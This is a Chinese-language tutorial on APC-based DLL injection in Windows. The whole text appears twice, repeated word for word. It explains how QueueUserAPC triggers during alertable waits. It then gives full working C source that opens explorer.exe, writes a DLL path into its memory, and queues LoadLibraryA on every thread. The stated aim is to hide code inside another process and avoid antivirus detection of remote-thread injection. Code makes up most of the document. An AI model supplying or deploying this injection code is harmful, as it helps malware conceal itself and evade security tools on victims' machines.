理论:
关于APC概念方面的介绍,前面已经有专文详细的说明了,在这里不再重复了。本篇我们主要谈谈利用APC实现向一个运行中的进程注入自己的代码的用法。
向一个运行中的进程注入自己的代码,常见的办法有全局钩子,以及CreateRemoteThread实现的远程线程注入,如今远线程注入已经是泛滥成灾,杀毒软件对于远程线程已经做了检查和警示。
用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。本篇给出的示例为在Explorer里加载自己的dll。
这里首先提到的就是一个API:QueueUserAPC 。原型如下:
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的 APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问 题,自己动手赋值,可是用户态程序可不好做,怎么办?
实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当 KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用 SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。
如果我们插入的目标线程也是本进程的话,我们就可以调用上面的函数让APC迅速执行,但是这里如果我们要插入的是Explorer进程,最简单的办法就是枚举Explorer中所有线程,全数插入,相信这么多的线程中,总有一个满足执行条件,只要有一个满足条件,我们就成功了。
代码:见光盘InsertApc,代码摘自网络,略作修改。
#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN // 从 Windows 头中排除极少使用的资料
#include <windows.h>
#include <Tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
typedef HANDLE (CALLBACK *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
typedef struct _TIDLIST
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;
DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;
HANDLE hThread;
const char szInjectModName[] = "c:\\sysnap.dll" ;
DWORD dwLen = strlen(szInjectModName) ;
HMODULE hDll = GetModuleHandle("Kernel32.dll");
PVOID param = VirtualAllocEx(hProcess, \
NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;
if (param != NULL)
{
DWORD dwRet ;
if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
{
while (pCurrentTid)
{
OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread");
hThread = lpfnOpenThread(THREAD_ALL_ACCESS,FALSE,pCurrentTid->dwTid);
if (hThread != NULL)
{
//
// 注入DLL到指定进程
//
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
}
printf("TID:%d\n", pCurrentTid->dwTid) ;
pCurrentTid = pCurrentTid->pNext ;
}
}
}
return 0 ;
}
DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0xFFFFFFFF ;
}
if (!Process32First(hSnapshot, &pe32))
{
return 0xFFFFFFFF ;
}
do
{
if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
{
printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
return pe32.th32ProcessID ;
}
} while(Process32Next(hSnapshot, &pe32));
return 0xFFFFFFFF ;
}
TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;
if (pdwTidListHead == NULL)
{
return NULL ;
}
pCurrent = pdwTidListHead ;
while (pCurrent != NULL)
{
if (pCurrent->pNext == NULL)
{
//
// 定位到链表最后一个元素
//
pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
if (pNewMember != NULL)
{
pNewMember->dwTid = dwTid ;
pNewMember->pNext = NULL ;
pCurrent->pNext = pNewMember ;
return pNewMember ;
}
else
{
return NULL ;
}
}
pCurrent = pCurrent->pNext ;
}
return NULL ;
}
int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;
THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;
if(hSnapshot != INVALID_HANDLE_VALUE)
{
if(Thread32First(hSnapshot,&te32))
{
do
{
if(te32.th32OwnerProcessID==dwPID)
{
if (pdwTidList->dwTid == 0)
{
pdwTidList->dwTid = te32.th32ThreadID ;
}
else
{
if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
{
printf("插入失败!\n") ;
return 0 ;
}
}
}
}while(Thread32Next(hSnapshot,&te32));
}
}
return 1 ;
}
void RemoveTid(TIDLIST *pdwTidListHead)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNext = NULL ;
if (pdwTidListHead == NULL)
{
return;
}
pCurrent = pdwTidListHead ;
while (pCurrent != NULL)
{
pNext = pCurrent->pNext;
free(pCurrent);
pCurrent = pNext;
}
}
int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
if (pTidHead == NULL)
{
return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;
DWORD dwPID = 0 ;
if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
{
printf("进程ID获取失败!\n") ;
return 1 ;
}
//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;
if (hProcess == NULL)
{
return 1 ;
}
EnumThread(hProcess, pTidHead) ;
CloseHandle(hProcess);
RemoveTid(pTidHead);
return 0;
}
分析:
代码比较简单,步骤如下:
1)根据进程名,获取进程ID,通过遍历所有的进程,比较当前遍历到的进程名是否等于我们参数传递进的进程名,如果是,则返回此进程的ID,否则继续遍历。
2)根据获取的进程ID,打开目标进程。
3)遍历进程内所有的线程模块,将遍历出的线程ID,保存到一个单项链表中。
4)调用QueueUserAPC向链表中的每个线程插入APC。
5)关闭进程句柄。
6)删除链表。
关于APC概念方面的介绍,前面已经有专文详细的说明了,在这里不再重复了。本篇我们主要谈谈利用APC实现向一个运行中的进程注入自己的代码的用法。
向一个运行中的进程注入自己的代码,常见的办法有全局钩子,以及CreateRemoteThread实现的远程线程注入,如今远线程注入已经是泛滥成灾,杀毒软件对于远程线程已经做了检查和警示。
用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。本篇给出的示例为在Explorer里加载自己的dll。
这里首先提到的就是一个API:QueueUserAPC 。原型如下:
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // APC function
HANDLE hThread, // handle to thread
ULONG_PTR dwData // APC function parameter
从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的 APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问 题,自己动手赋值,可是用户态程序可不好做,怎么办?
实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当 KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用 SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。
如果我们插入的目标线程也是本进程的话,我们就可以调用上面的函数让APC迅速执行,但是这里如果我们要插入的是Explorer进程,最简单的办法就是枚举Explorer中所有线程,全数插入,相信这么多的线程中,总有一个满足执行条件,只要有一个满足条件,我们就成功了。
代码:见光盘InsertApc,代码摘自网络,略作修改。
#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN // 从 Windows 头中排除极少使用的资料
#include <windows.h>
#include <Tlhelp32.h>
#include <stdio.h>
#include <stdlib.h>
typedef HANDLE (CALLBACK *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
typedef struct _TIDLIST
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;
DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;
HANDLE hThread;
const char szInjectModName[] = "c:\\sysnap.dll" ;
DWORD dwLen = strlen(szInjectModName) ;
HMODULE hDll = GetModuleHandle("Kernel32.dll");
PVOID param = VirtualAllocEx(hProcess, \
NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;
if (param != NULL)
{
DWORD dwRet ;
if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
{
while (pCurrentTid)
{
OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread");
hThread = lpfnOpenThread(THREAD_ALL_ACCESS,FALSE,pCurrentTid->dwTid);
if (hThread != NULL)
{
//
// 注入DLL到指定进程
//
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
}
printf("TID:%d\n", pCurrentTid->dwTid) ;
pCurrentTid = pCurrentTid->pNext ;
}
}
}
return 0 ;
}
DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0xFFFFFFFF ;
}
if (!Process32First(hSnapshot, &pe32))
{
return 0xFFFFFFFF ;
}
do
{
if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
{
printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
return pe32.th32ProcessID ;
}
} while(Process32Next(hSnapshot, &pe32));
return 0xFFFFFFFF ;
}
TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;
if (pdwTidListHead == NULL)
{
return NULL ;
}
pCurrent = pdwTidListHead ;
while (pCurrent != NULL)
{
if (pCurrent->pNext == NULL)
{
//
// 定位到链表最后一个元素
//
pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
if (pNewMember != NULL)
{
pNewMember->dwTid = dwTid ;
pNewMember->pNext = NULL ;
pCurrent->pNext = pNewMember ;
return pNewMember ;
}
else
{
return NULL ;
}
}
pCurrent = pCurrent->pNext ;
}
return NULL ;
}
int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;
THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;
if(hSnapshot != INVALID_HANDLE_VALUE)
{
if(Thread32First(hSnapshot,&te32))
{
do
{
if(te32.th32OwnerProcessID==dwPID)
{
if (pdwTidList->dwTid == 0)
{
pdwTidList->dwTid = te32.th32ThreadID ;
}
else
{
if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
{
printf("插入失败!\n") ;
return 0 ;
}
}
}
}while(Thread32Next(hSnapshot,&te32));
}
}
return 1 ;
}
void RemoveTid(TIDLIST *pdwTidListHead)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNext = NULL ;
if (pdwTidListHead == NULL)
{
return;
}
pCurrent = pdwTidListHead ;
while (pCurrent != NULL)
{
pNext = pCurrent->pNext;
free(pCurrent);
pCurrent = pNext;
}
}
int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;
if (pTidHead == NULL)
{
return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;
DWORD dwPID = 0 ;
if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
{
printf("进程ID获取失败!\n") ;
return 1 ;
}
//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;
if (hProcess == NULL)
{
return 1 ;
}
EnumThread(hProcess, pTidHead) ;
CloseHandle(hProcess);
RemoveTid(pTidHead);
return 0;
}
分析:
代码比较简单,步骤如下:
1)根据进程名,获取进程ID,通过遍历所有的进程,比较当前遍历到的进程名是否等于我们参数传递进的进程名,如果是,则返回此进程的ID,否则继续遍历。
2)根据获取的进程ID,打开目标进程。
3)遍历进程内所有的线程模块,将遍历出的线程ID,保存到一个单项链表中。
4)调用QueueUserAPC向链表中的每个线程插入APC。
5)关闭进程句柄。
6)删除链表。